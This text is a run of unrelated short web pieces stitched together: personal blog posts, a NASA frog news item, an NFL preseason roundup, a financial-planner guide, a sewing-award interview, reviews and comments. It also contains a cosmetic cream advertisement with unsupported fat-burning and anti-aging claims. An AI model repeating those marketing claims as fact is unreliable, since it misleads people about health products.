I've been watching more TV than usual, winter does that to people. This winter brings new seasons for Walking Dead, Vikings, and Game of Thrones. Also, Black Sails is a new show that is turning out to be good as well (only 8 episodes though). And I managed to watch all 3 seasons of American Horror Story; good series.
Ever since I finished Grand Theft Auto V, I turned to cell phone gaming and entertainment. My patience and determination is paying off in Candy Crush Saga; currently at level 275. Other addictive honorable mentions are: Kingdom Rush – Frontiers (tower-defense strategy), and Beastie Bay (Simcity+Pokemon). As for movies, the Lego Movie was awesome and worth seeing at least once, even if you're an adult.
For 2 years straight, I've tried to enter the NYC Half marathon race via the lottery and failed. Well, this year I'm in! It's one of the only time where they shut down Times Square just for runners. It's on next weekend!

Hexo and Jenkins atop Os X
In which I ramble a bit about setting up CI for this very blog. I have a Jenkins server running on my OsX computer. (… or … I'm setting one up anyway) I also have (am establishing?) a blog built by Hexo … because that seems the right way to do this sort of thing. My constraints of "MarkDown" and "no really - let me use MarkDown because I'm going to have a lot of code fragments" seem alien to most blogging software - "Hexo delivers" as the kids say.

Using the Mini Popcorn bags, I made a sleeve out of scrapbook paper and decorated the outside with ribbon, a little halloween stick-on, and the words
"Hope your Halloween is POPPIN' and not CORNY!!"
I know, I know, the saying itself is corny, but my friends will love it!
FYI- you can get a box of 10 mini bags for under $2. Makes a cheap little give away- and trick or treaters would also love it.

Hey guys Check it out! Another post so soon! I'm on a roll! Let's see if I can keep this up. XD But it started snowing pretty hard yesterday and it was actually starting to stick so I HAD to motivate myself to go snap a few pictures. It took a lot of motivation but finally I couldn't Resist.
When it's snowing out I tend to like to wear black. I love the contrast of it compared to the bright White of the snow. I also threw on a bit of lipstick! Which I haven't done since I dyed my hair pink. But it didn't look to bad as long as I was wearing Darker Eye Makeup. So, Here are a few pictures!

Shirt: Divided/ H&M

Tights: Target (ripped them myself)
Jewelry: Forever 21
Bye for now!

With one strange and fateful leap for frogkind, an amphibian that managed to photobomb a NASA rocket launch is now making the rounds online in a picture that may or may not have captured the poor frog's last moments on this earth. The LADEE (Lunar Atmosphere and Dust Environment Explorer) swept the hopeful astronaut frog up in a cloud of dust and smoke raised by its rockets as it took off from a launch pad in Virginia on September 6th. The frog's fate is unknown.

After John went to school, I found this note on my bathroom mirror: {Happy Anniversary to my amazing wife. I love you so much! :) Thank you for all you do, for an amazing group of children, for the last 13 years. Have a great day! Love, John}
This little note from John totally made my day. :) (and made me think about how many years it's really been...Married in '99, so that would make it 14--whew, I calculated correctly--;) Love you dear.)
Thanks, sweetheart-you're pretty amazing yourself. I love you too! Can't believe it's been 14 years! Love you more and more each day. :) xoxo

How to stay positive
Friday, April 29, 2016
I get knocked down, but I get up again. You're never gonna keep me down...
I won't lie, staying positive is difficult, especially if you're going through things, all I can say is that it will pass and the cheesy things like it will make you a stronger person (it really does). Obviously though, our brains don't think of this straightaway, and we get caught up in the negatives of each situation. I wouldn't say I'm a sunshine and rainbows kind of girl, my cynicism and worrying can lead to negativity but majority of the time I am pretty positive.
I haven't always stayed positive, but in recent years I realised positive thinking is the better way for me to get through things. I found that things always had a strange way of solving themselves and that everything ended up being fine. Some things that I found to help in positive thinking:
Write down/ think about what you're grateful for:
It could be simple things, a bed, supportive family and friends, somewhere to relax in, being healthy, a shelter. Little things add up to a lot. After a long and exhausting day at work, I've never been more grateful for somewhere to sleep and go back to.
Take a break from it:
Enjoy a day of doing something fun or something that relaxes you, whatever makes you happy, it keeps your spirits up and hell, you definitely deserve a break. Sometimes you just need a little time away from the situation at hand.
Don't Sweat the Small stuff:
I've always known about this, but I've never really practiced it. in the words of Richard Carlson himself, one of my favourite things he said from his books was-
'One of the mistakes many of us make is that we feel sorry for ourselves, or for others thinking that life should be fair, or that someday it will be. It's not and it won't. When we make this mistake we tend to spend a lot of time wallowing and/or complaining about what's wrong with life. 'It's not fair,' we complain, not realising that, perhaps, it was never intended to be.'
Let's get those positive vibes flowing.

This months' kit is full of beautiful things by American Crafts from their Garden Café line. Super cute. This photo shows a lot of the things included in the kit:
My favorites this month are the cute 6x6 journaling cards, and cute buttons to match and a brand new acrylic "hello" stamp. (The cardmaker in me LOVES new sentiments!)
Here is a 12x12 page I made following a fun new PageMap template. Photos will go in the white squares later on...
I also made another 8x8 for this month for those of you following the 8x8 book collection. This is also a PageMaps template. Love them. I love he stitched pocket idea.
Did I forget to mention the whole pack of "Thickers" in this month's kit? Love them too. I love it when you get a whole variety of matching products in your kit that you otherwise might not have tried. Thickers are fun!
Here are some cards, I do believe that I followed recent Operation Write Home sketches for most of them. Hey, you ETM ladies, don't forget to play along with those new sketches every weekend over at Stars & Stamps.
There's that cute "hello" stamp. Very useful! Awesome for cards! I love the little swirl design.
So nice I had to use it twice. Hee hee!
There is a little package of those florets in the kit too. They can also be used as a sentiment, I don't think I would recommend mailing a card with one of these on it though. Too fat! :) Great for hand delivery, though.
There are a few patterned-paper card bases in the kit too, of varying design. Just slap a couple of layers on them with a sentiment and you have an instant easy card.
This card is proof that even those new Friskars Titanium blades for your paper trimmer eventually poop out. When that happens, you should use an edge distresser and rough up ALL your edges, so that it makes it look like you were trying to accomplish this look on purpose. :) one of the big 12x12 papers has this cute little strip of cakes along the bottom edge. How fun! I added it with a tag and little scrap of Rick-rac ribbon To make a birthday card.
Aren't those colors fun? What a great kit! Thanks for stopping by to see the goodies... I'll be putting up some more next weekend too. :)

Original Thiomucase was produced in France and did not contain caffeine or yohimbe. It came in a small 45g tube, looking like a tiny tube of toothpaste, and was pricey. Although a widely loved product by bodybuilders, Thiomucase was discontinued in early 2003. *Before our supply was depleted, PumpNPose had the foresight to send off the original cream for third party analysis. As a result, today we are able to offer a cream virtually identical to the original. Thiomucase is widely used around the world by many athletes, bodybuilders, weight reduction spas, and beauty salons. Thiomucase cream tightens your skin and may reduce the visible signs of aging. Top amateur & professional athletes achieve not only that competitive edge, but also the ripped & hard look.
Years later, PumpNPose has added caffeine & yohimbe (and now additional effective ingredients for our newest Caffeine & Yohimbe with Dead Sea Salts) to enhance skin quality and muscular definition.
Caffeine & Yohimbe Thiomucase: Our own Thiomucase blend based on the Original formula goes on smooth and silky with no stickiness. With the added ingredients of caffeine and yohimbe, our Thiomucase cream is the strongest localized fat burning cream available. Apply as a daily cream or use as a bodywrap treatment for a longer, thermogenically enhanced treatment.
Recommended use: Massage into skin until fully absorbed. Repeat daily. For external use only. For Thiomucase to be most effective, it is recommended that one consume a reduced calorie diet, restrict sodium intake, and follow an intense exercise regimen. Caffeine & Yohimbe Thiomucase can also be used as a bodywrap treatment. To do so, apply a thin layer of cream to treatment area, cover with a plastic bodywrap film or kitchen wrap depending on treatment area size, and apply compression with a neoprene belt or compression wrap.
Ingredients: Mucopolysaccharides Glycerine 135 TRU, Monostearic Glycerin, Lanolin, Purified Water.
Use of this topical diuretic cream has been associated with an anti-cellulite action, a slimming action firming skin, tightening skin, and preventing signs of premature aging.
*****available now with Dead Sea Salts for our most aggressive formula!

1. The Internet makes it easier for people to be mean.
Howard's right! A lot of online bullies only feel confident enough to post mean-spirited things because they don't have to reveal their identities. It's easy to act tough behind a screen, but most trolls are probably insecure about their own lives.
Instead of letting a faceless bully get the better of you, remember that the commenter is a person who most likely wouldn't have the courage — or would even want — to say hurtful things to your face.

Pre-season is officially over and real football is finally upon us.
Week four is typically where you'll find lesser-known players fighting for their NFL lives.
Below you'll find some familiar and maybe not-so-familiar names who made the final list.
Colt McCoy
With both Robert Griffin III and Kirk Cousins sitting this one out, McCoy shined Thursday night against the Buccaneers.
McCoy played the entire game, finishing 22 of 29 for 321 yards and two touchdowns. McCoy has played extremely well during the pre-season, leaving the Redskins with plenty of depth at the quarterback position.
T.J. Yates
Back in week two, Yates made the list. The loser's list. His first three pre-season games for Atlanta were horrendous, completing only 39.4 percent of his passes with no touchdowns and two interceptions. Against the Jaguars, though, Yates might have redeemed himself with a solid performance.
He ended the night with 243 passing yards and two touchdowns, including a 67-yard bomb to Freddie Martino. It's hard to gauge Yates' ability with his Jekyll and Hyde play during the pre-season, but if he continues to perform like he did against the Jags, he'll be a solid back-up to Matt Ryan.
Derek Carr
With Matt Schaub struggling in Oakland, Carr threw his hat in the ring Thursday night to compete for the starting job.
The rookie quarterback finished 11 of 13 for 143 yards and three touchdown passes against Seattle. One long scoring drive was even against Seattle's first-string defense. Let the debate begin over who should be the starting quarterback on opening day.
Henry Josey
Even with most of their starters sitting out, the Eagles' offense proceeded to roll over the Jets with ease. They leaned heavily on the rookie running back who turned in a solid performance, carrying the rock 22 times for 121 yards.
Josey also averaged an impressive 5.5 yards a carry. Josey made a solid case for himself as he competes for one of the final roster spots on the team.
Jordan Palmer
This week, Buffalo parted ways with two of their backup quarterbacks, Dennis Dixon and Thad Lewis in hopes of upgrading the role. Their solution was the signing of veteran QB Jordan Palmer. Palmer answered by throwing three interceptions in his Bills' debut.
The Bills were held scoreless in the game against Detroit as Palmer went 9 of 22 for only 73 yards. Palmer is probably still learning the playbook, but will need to improve in a hurry if he wants to solidify the backup role.
Fans watching the Cardinals/Chargers game
If you like field goals, this was the game for you. No touchdowns were scored as the teams combined for seven field goals in an ugly 12-9 game. San Diego won the game, but it was the fans who truly lost out on this one.
Brandon Weeden
Tony Romo watched from the sidelines as Weeden and the Cowboys lost their fourth game of the pre-season. Weeden was less than impressive, completing just six passes and throwing an interception. The Cowboys might be in trouble if Weeden is needed to step in and assume the starting role.
Houston defense
The Texans took a drubbing from the 49ers backups in their 40-13 defeat Thursday night. San Francisco third-string quarterback Josh Johnson lit them up for three touchdown passes in the rout.
The lone bright spot was a 77-yard interception returned for a touchdown by rookie Andre Hal. Regardless, allowing 40 points to the opposing team doesn't provide a lot of confidence as they head into the regular season.

It was too early to wake him, so she slipped on her jeans and yesterday's T-shirt, and, shoes in hand, walked out the door, barefoot. She closed the door without making a sound; she'd had a lot of practice at leaving silently. The sun had not yet shown itself over the hills, but the sky was bright enough for her to see where she was going. When she reached the street, she eased her tennis shoes onto her feet.
She started out at a lope, wanting, no, needing to breathe deeply as the night evaporated into morning. Her lungs filled with cool air, and, after awhile, she slowed down. She'd run far enough. She stopped to catch her breath and stretched her hamstrings against a tree; she ran her fingers through her hair, smoothing it, and looked around.
Hanging from the tree, just inches from her nose, was a vine with some tightly wound dark purple flower buds on them. As she watched, they slowly unfurled.

Congratulations! You've made the call, you've set up your first appointment. It's a big step, and it's often shrouded in mystery. But meeting with a financial planner doesn't need to be scary. Here's what to expect from your first appointment so that you can go in with confidence and make the most of your time!
Painting a Picture
First thing's first. In order to know where you are going and how to get there, your financial planner needs to know where you are! They will help you map out your current financial situation to create a complete snapshot that includes your income, your expenses, any debts or mortgages, savings, assets, investments, and most importantly, your concerns and your goals. Some advisors will request that you bring in paperwork to help with this step, but it'll likely be less of a chore than you think. Some advisors don't even want to see paperwork in the first meeting.
A good financial planner will take the time to truly get to know you and become familiar with your particular situation. By the time you're done, they should have a firm understanding of your financial position, as well as your concerns, your family, business, and personal goals. In short, your financial planner needs to get a good picture of what is important to you. The more you tell them, the more they'll be able to help!
Get Comfortable
Many advisors offer a free first meeting, so take the time to find someone you are comfortable with and can trust. You aren't just looking for a transactional one-time sale, after all. You're looking for someone who can be a partner in achieving your goals and securing your future. This first meeting lays the foundation for a long-term professional relationship with someone you'll be working with closely through all the changes and stages of life.
And remember, the first meeting is a chance for you both to see if it will be a good fit. That means you get to ask questions too! You can ask about your advisor's background, qualifications, and the types of clients they typically work with, but you should also start to understand a little bit about their own life experiences and the frame-of-reference with which they are approaching your work together.
This is also a great time to tailor the meeting to address what concerns you most. Do you want to learn more about protecting yourself from market swings, or what changes in the economy mean for your security? Just ask!
Setting Goals
Are you planning on getting married, having children, or buying or selling a house? Are you trying to pay off your debt? Are you hoping to save for a dream vacation every year? Are you unsure if you've saved enough to retire on? Are you looking to create a post-retirement income stream?
Your financial planner can help you isolate your concrete financial goals, both in the short and long term. Chances are there are many things you'd like to do with your money, so this will also be a process of prioritization — what can be realistically achieved, and when? There are many, many options available to you, and in order to take advantage of them you'll need a clear picture of where you want to go.
Drawing a Map
This is the heart of financial planning, and you may not get here in just one meeting. That's alright! Taking your time to get it right the first time will always pay off. Together you will work to craft a financial plan that is realistic and fits with your quality of life now and your goals for the future. Once you've developed a plan, your financial planner will also be there to help hold you accountable, no matter how big or small your goals.
Be Patient
Don't walk in expecting a perfect pre-made answer. In fact, you don't want one! A good planner will work with you to craft a personalized plan that will be a good fit for you and only you. Be wary of anyone who has a cookie-cutter answer ready for you in the desk drawer. Don't worry — with a skilled advisor by your side, you'll be on the path to achieving your goals, one step at a time.
Still have questions? Keep preparing with this article on things you should know before your first meeting with a financial planner.

How do I stop this *censored* Lag?
I normally don't post when I'm at home because I save this time for actual gaming or maybe eating something. However, there are times that just call for action and this is one of those times! This has got to be the best fix yet for lag in a game:
Known Issue Workaround
There is an issue that causes extreme lag on Descent when your profanity filter is enabled. If you are going to Descent, turn off your profanity filter option located on the Game tab.
That was in the patch notes this evening when I logged into Tabula Rasa. I'm not even going to get into the part about the name of the zone in which this takes place and the fact that you have to put yourself through the torture of listening to the children banter on in full color. It speaks for itself.
Just in case some people are actually experiencing this issue, here is the additional notes on this.
If you are on Descent and are unable to turn off your profanity filter, send a petition on an alternate character and remain online for GM assistance. If you cannot remain online, simply update your support ticket the next time you are able to log into the game.
Best fix ever.

The profanity filter causes extreme lag? That's surprising. Of all the things to cause extreme lag… 🙂
Comment by Link | November 20, 2007 |
I think I shot Mt. Dew out of my nose when I logged on to TR yesterday and saw that.
That must be the most complex profanity filtered ever designed.
Comment by Smush | November 20, 2007 |
Hahah! Too funny.
Now if only they could install a profanity filter in my head, it might stop me swearing so much!…after a heavy nights drinking I seem to have a huge amount of lag anyhow, so the extra from the filter wouldn't hurt.
Comment by Killzum | November 21, 2007 |
That's fantastic! Best bug ever.
Oh and Brack, I joined in on the TR is actually, you know, good bandwagon this weekend. I'm on Orion with the surname Bildo. 🙂

Julia - Winner of the 2011 Tessuti Awards
I'm sure there are few regular readers who need introduction to the gorgeous and talented Julia from
Julia Bobbin
who also happened to win our big prize in the 2011
Tessuti Awards
. At the time of winning our Linen & Lace comp, Julia had been sewing for a mere two years. Sorry, did you hear that? TWO YEARS. So for all of you out there who want to enter but feel you lack the skills or experience, let this lady inspire you. Read on...
What have you been up to since you won the
Tessuti Awards
winning the awards
in 2011 I have
travelled to New York
thanks to Tessuti where I buried myself in fabric and notion stores, visited fashion exhibitions and took private lessons from some great New York couturiers.
Entering the awards gave me the confidence to start a sewing blog at
, where I have catalogued all my creations and designs. I have very much enjoyed creating group-sewing challenges, with great enthusiasm around the Mad Men sew-a-longs.
I have been fortunate to have had two of my dresses featured in the German BurdaStyle magazine, given various sewing interviews, and will be travelling to Italy in July 2013 where I will be attending as many classes as I can get my hands on.
I got married in October 2011, where I wore a dress I designed and made. In January of this year I introduced my first child Harry into the world, who I am pleased to report has excellent sewing hands.
I continue to sew and create and to attend classes each week. I love that I still have so much to learn.
Did winning the Tessuti Awards change your career or personal life in any way?
The Tessuti Awards gave me the courage to move from being a seamstress who followed patterns and sewed for fun, to a designer with a voice of her own. It has driven my passion of sewing and creating and taken it outside my own sewing room. It has enabled me to meet other designers in the sewing world, and has opened doors for me to start creating my own patterns, further my skills and eventually turn what I am passionate about into my career.
What words of encouragement would you give to anyone considering entering the 2013 Tessuti Awards?
Whether you've just started out sewing or have been doing it for years, the Tessuti Awards is a great way to set yourself a sewing challenge and to push your skills. The Awards helped me get out of my comfort zone and to start thinking more as a designer and creator. It is what accelerated my learning and style. The Tessuti Awards offers endless inspiration and is something you can feel proud to be part of it.
Thanks Julia!
Tessuti Awards

Your Own Personal Event CalenderReviewing: Digilabs My Photo Calender | Rating:
I love creating personal things and I love keeping track of birthdays, anniversarys, holidays etc. Thats why when I found this program I was so excited.
This is a software program from digilabs where you create your own calendar. It allows you to pick from 14 different styles, you can create all different sizes of calendars too 12 x 18, 11 x 17 (center fold) single months or even desktop calendars to sit on your desk. You can add your own pictures and create all the dates that you want to keep track of. It also lets you pick the holidays you want to show on your calendar, examples US, Canada, Christian, Polish, Irish, Russian etc.
I will admit that the first time you use this program it is a little time consuming putting in all the dates that you want to keep track of but it is worth it. Once those dates are in, you never have to worry about them again.
The squares aren't very large but I find there is enough room to put those Docter appointments and things that come up that I need to keep track of.
The first calendar I did was of our entire family. Each month was dedicated to one member of the family. I gave each one in my family this calendar for Christmas. Everyone loved the idea of having all the birthdays, anniversary's right there so they could keep track of it. This year everyone asked me if I would do it again, so I just went in changed the year (it automatically changes all the days) and changed pictures.
You can download the software for free if you are going to use digilabs to print your calendars. I chose to buy the program and print them myself. Now I had to print 10 calendars so I am not sure if it might have been cheaper to have them print it, but I enjoy doing this and didn't have any problem printing it. I liked the idea I could pick the kind of paper I wanted.
This is a great idea for keeping all those dates in order especially as your family grows.

Hello Lisa,
Oh, it's awful when you misplace the camera! Mine needs to be surgically attached..hehe! :0)
I'm fairly new to your blog..discovered by way of another one..you know how that is. :0) North Texas....Dallas, Ft. Worth maybe?? I have lived all over Texas in the past and think it's a great place to live.
I'm from Tennessee but have traveled my entire life (51 years as of now)until I followed through on a dream of settling into the Tennessee Smoky Mountains...so now I live on a mountain ridge but with all the convenience you can imagine since I'm only 5 miles from Gatlinburg, Pigeon Forge and Sevierville.
I just wanted to introduce myself and tell you what a wonderful blog of inspiration you have.
Do drop by for a visit when you have a moment..Have a lovely day!

These bottles are amazing. So much detail. And I adore the story that goes along with them! So enjoyed spending time with you and look forward to seeing you again. (I still say you are 30 something) :) ~ Angela
